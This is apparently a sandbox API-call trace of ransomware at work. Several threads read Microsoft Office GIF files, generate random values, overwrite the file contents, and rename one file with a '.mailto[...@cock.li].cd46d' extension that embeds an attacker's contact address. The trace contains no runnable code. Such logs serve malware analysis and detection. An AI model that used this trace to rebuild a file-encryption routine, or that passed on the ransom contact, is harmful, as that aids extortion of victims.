RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x75bf5474 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x645b16d8 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x5294473b [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x72af46ac [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x4e60c592 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x3525a53a [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x55ccf219 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x4c37caa4 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x1b524d9b [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0xb950f4a [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x565d887f [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x4fc20cf0 [0064.177] RtlRandomEx (in: Seed=0x1018fa68 | out: Seed=0x1018fa68) returned 0x1cfef0cf [0064.189] ReadFile (in: hFile=0x1398, lpBuffer=0x9745130, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x1018fa58, lpOverlapped=0x0 | out: lpBuffer=0x9745130*, lpNumberOfBytesRead=0x1018fa58*=0xce, lpOverlapped=0x0) returned 1 [0064.190] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.191] WriteFile (in: hFile=0x1398, lpBuffer=0x1969e970*, nNumberOfBytesToWrite=0xce, lpNumberOfBytesWritten=0x1018fa54, lpOverlapped=0x0 | out: lpBuffer=0x1969e970*, lpNumberOfBytesWritten=0x1018fa54*=0xce, lpOverlapped=0x0) returned 1 [0065.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce2a8 [0065.475] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce258 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce258) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1969e970) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9745130) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4194f0) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0065.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cef60 [0065.476] SetFilePointerEx (in: hFile=0x1398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.476] WriteFile (hFile=0x1398, lpBuffer=0x12d7cff8, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1018fabc, lpOverlapped=0x0) Thread: id = 1163 os_tid = 0x834 [0059.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif")) returned 0x20 [0064.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF", dwFileAttributes=0x20) Thread: id = 1164 os_tid = 0x83c [0059.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif")) returned 0x20 [0064.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF", dwFileAttributes=0x20) returned 1 [0064.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13a0 [0064.193] GetFileSizeEx (in: hFile=0x13a0, lpFileSize=0xffefcfc | out: lpFileSize=0xffefcfc*=179) returned 1 [0064.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92f0 [0064.193] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92c8 [0064.193] NtQuerySystemTime (in: CurrentTime=0xffefc5c | out: CurrentTime=0xffefc5c*=132174898281708000) returned 0x0 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x94861db [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x71986485 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x50d6b8ea [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x6e3cf3b [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x65c0ffa1 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x3a4b6ad1 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x736ac408 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x467c771c [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x479d86af [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x27177b4a [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x32a8ca41 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x1b1c2cc6 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x170029b2 [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x6ce3d0ae [0064.193] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x368de461 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x6d49677d [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x16964d24 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x6ff257e6 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x73d2aca6 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x235e7a2d [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x73db33ec [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x745bbe2c [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x74b2f739 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x72da1f6c [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x6ca9ca1b [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x2a05f0ea [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x4baf2398 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x1a96bf66 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x348ee5a [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x243b682c [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x562ef505 [0064.194] RtlRandomEx (in: Seed=0xffefc68 | out: Seed=0xffefc68) returned 0x78ff4430 [0064.206] ReadFile (in: hFile=0x13a0, lpBuffer=0x196ab178, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0xffefc58, lpOverlapped=0x0 | out: lpBuffer=0x196ab178*, lpNumberOfBytesRead=0xffefc58*=0xb3, lpOverlapped=0x0) returned 1 [0064.207] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.207] WriteFile (in: hFile=0x13a0, lpBuffer=0x196b7980*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0xffefc54, lpOverlapped=0x0 | out: lpBuffer=0x196b7980*, lpNumberOfBytesWritten=0xffefc54*=0xb3, lpOverlapped=0x0) returned 1 [0065.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce1e0 [0065.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce230 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce230) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196b7980) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196ab178) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4195e0) returned 1 [0065.476] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0065.476] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee10 [0065.476] SetFilePointerEx (in: hFile=0x13a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.476] WriteFile (hFile=0x13a0, lpBuffer=0x12d7cee0, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xffefcbc, lpOverlapped=0x0) Thread: id = 1165 os_tid = 0x838 [0059.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif")) returned 0x20 [0064.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF", dwFileAttributes=0x20) returned 1 [0064.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13a8 [0064.226] GetFileSizeEx (in: hFile=0x13a8, lpFileSize=0x108afb80 | out: lpFileSize=0x108afb80*=273) returned 1 [0064.226] SetFilePointerEx (in: hFile=0x13a8, liDistanceToMove=0x10d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.226] ReadFile (in: hFile=0x13a8, lpBuffer=0x108afb04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x108afb00, lpOverlapped=0x0 | out: lpBuffer=0x108afb04*, lpNumberOfBytesRead=0x108afb00*=0x4, lpOverlapped=0x0) returned 1 [0064.228] SetFilePointerEx (in: hFile=0x13a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fa8 [0064.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec93b8 [0064.228] NtQuerySystemTime (in: CurrentTime=0x108afae0 | out: CurrentTime=0x108afae0*=132174898282020000) returned 0x0 [0064.228] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x626e7f6 [0064.228] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0xadcaa1c [0064.228] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x247b258d [0064.228] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x2daf7f09 [0064.228] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x50e6ff44 [0064.228] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x62f3bda5 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x6d6c66c9 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0xbd5f2e9 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x49d69742 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x36bf14ff [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x5a09002c [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x6dfdbeea [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x132da024 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x322ab516 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x710f0346 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x142f89e [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x72b0451b [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x6f575bd4 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x61fd113c [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x7304f82c [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x224c898 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x5399b3ae [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x540ec93d [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x3267dcd [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x6b401a27 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x77094a2c [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x449d4e4 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x7397743e [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x18c2abf7 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x44289340 [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x6ac0163f [0064.229] RtlRandomEx (in: Seed=0x108afaec | out: Seed=0x108afaec) returned 0x79be4870 [0064.241] ReadFile (in: hFile=0x13a8, lpBuffer=0x12df6840, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x108afadc, lpOverlapped=0x0 | out: lpBuffer=0x12df6840*, lpNumberOfBytesRead=0x108afadc*=0x111, lpOverlapped=0x0) returned 1 [0064.241] SetFilePointerEx (in: hFile=0x13a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.241] WriteFile (in: hFile=0x13a8, lpBuffer=0x19527880*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x108afad8, lpOverlapped=0x0 | out: lpBuffer=0x19527880*, lpNumberOfBytesWritten=0x108afad8*=0x111, lpOverlapped=0x0) returned 1 [0065.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce140 [0065.477] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce118 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce118) returned 1 [0065.477] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19527880) returned 1 [0065.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12df6840) returned 1 [0065.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0065.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0065.478] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cefc0 [0065.478] SetFilePointerEx (in: hFile=0x13a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.478] WriteFile (hFile=0x13a8, lpBuffer=0x12d7ccb0, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x108afb40, lpOverlapped=0x0) Thread: id = 1166 os_tid = 0x184 [0059.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif")) returned 0x20 [0064.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF", dwFileAttributes=0x20) Thread: id = 1167 os_tid = 0x240 [0059.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif")) returned 0x20 [0062.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF", dwFileAttributes=0x20) returned 1 [0062.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14530_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1314 [0062.093] GetFileSizeEx (in: hFile=0x1314, lpFileSize=0x1148fd54 | out: lpFileSize=0x1148fd54*=316) returned 1 [0062.093] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.094] ReadFile (in: hFile=0x1314, lpBuffer=0x1148fcd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1148fcd4, lpOverlapped=0x0 | out: lpBuffer=0x1148fcd8*, lpNumberOfBytesRead=0x1148fcd4*=0x4, lpOverlapped=0x0) returned 1 [0062.094] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9368 [0062.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9278 [0062.094] NtQuerySystemTime (in: CurrentTime=0x1148fcb4 | out: CurrentTime=0x1148fcb4*=132174898260804000) returned 0x0 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x5e75445d [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x10d6acf8 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x30a9d744 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x2f070f63 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x3da69d48 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x3db87ef8 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x2625dd5e [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x1a2bae49 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x3f1b29c4 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0xaa35a18 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x131f74f [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x1e5f64ef [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x1d496f25 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x790363b1 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x3d6329cc [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0xd660712 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x411cc065 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x37a7ddf3 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x6df13b8 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x785b6af0 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x37ba55b6 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x17e4a6d5 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x675126d [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x6eaf023d [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x619621e4 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x34be8229 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x6e459275 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x79cdb927 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x18a4849 [0062.095] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x1c8bdfc0 [0062.096] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x47f14e27 [0062.096] RtlRandomEx (in: Seed=0x1148fcc0 | out: Seed=0x1148fcc0) returned 0x66d8dc6b [0062.108] ReadFile (in: hFile=0x1314, lpBuffer=0x95f6630, nNumberOfBytesToRead=0x13c, lpNumberOfBytesRead=0x1148fcb0, lpOverlapped=0x0 | out: lpBuffer=0x95f6630*, lpNumberOfBytesRead=0x1148fcb0*=0x13c, lpOverlapped=0x0) returned 1 [0062.108] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.108] WriteFile (in: hFile=0x1314, lpBuffer=0x5e86088*, nNumberOfBytesToWrite=0x13c, lpNumberOfBytesWritten=0x1148fcac, lpOverlapped=0x0 | out: lpBuffer=0x5e86088*, lpNumberOfBytesWritten=0x1148fcac*=0x13c, lpOverlapped=0x0) returned 1 [0062.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428d70 [0062.564] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428f28 [0062.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428f28) returned 1 [0062.564] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e86088) returned 1 [0062.759] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95f6630) returned 1 [0062.762] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4373a0) returned 1 [0062.762] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0062.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cee70 [0062.762] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.762] WriteFile (in: hFile=0x1314, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1148fd14, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x1148fd14*=0x109, lpOverlapped=0x0) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb10) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428d70) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9368) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92c8) returned 1 [0062.852] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9228) returned 1 [0062.852] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d42a0 [0062.852] wcscpy (in: _Dest=0x4d42a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF" [0062.852] wcscat (in: _Dest=0x4d42a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0062.853] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1148fccc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14530_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.853] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de6c8 [0062.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de6c8) returned 1 [0062.920] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4338a8) returned 1 [0062.920] NtQueryInformationFile (in: FileHandle=0x1314, IoStatusBlock=0x1148fcd8, FileInformation=0x1148fcb0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1148fcd8, FileInformation=0x1148fcb0) returned 0x0 [0062.920] NtSetInformationFile (FileHandle=0x1314, IoStatusBlock=0x1148fcd8, FileInformation=0x1148fcb0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.938] RtlFreeHeap 